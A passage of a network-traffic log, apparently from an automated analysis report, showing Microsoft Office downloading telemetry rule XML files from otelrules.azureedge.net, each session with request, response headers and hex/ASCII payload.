2024-11-18 22:03:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220358Z-16547b76f7fjx5nrhC1DFW4dsc00000003ng000000005q4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220358Z-16547b76f7fd4rc5hC1DFWkzhw00000006s0000000006ke1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220358Z-16547b76f7fd77jrhC1DFWfwq0000000033000000000ctn9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9262989a-201e-0096-39af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220358Z-r18f44ddb694v9hbhC1DFW4shn00000000hg000000002w6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220359Z-1866b5c5fbbnjgfwhC1DFW3usc00000001ng00000000mye8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: adb9bc2d-c01e-007a-4c7f-38b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220359Z-r18f44ddb69tncq7hC1DFW3ke800000000mg000000003wep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220359Z-16547b76f7fsq6p7hC1DFWfx6800000004u000000000p3ks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220359Z-164f84587bflm48hhC1DFW0nf80000000380000000003urx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 0c22b257-c01e-0014-37f5-39a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220359Z-r18f44ddb694v9hbhC1DFW4shn00000000gg000000002r2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:03:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a4488d51-301e-0096-053f-38e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220400Z-164f84587bfmxxfphC1DFW3au800000004wg00000000bxey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220400Z-r18f44ddb69xvwv5hC1DFWstpn00000000dg000000004fkg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
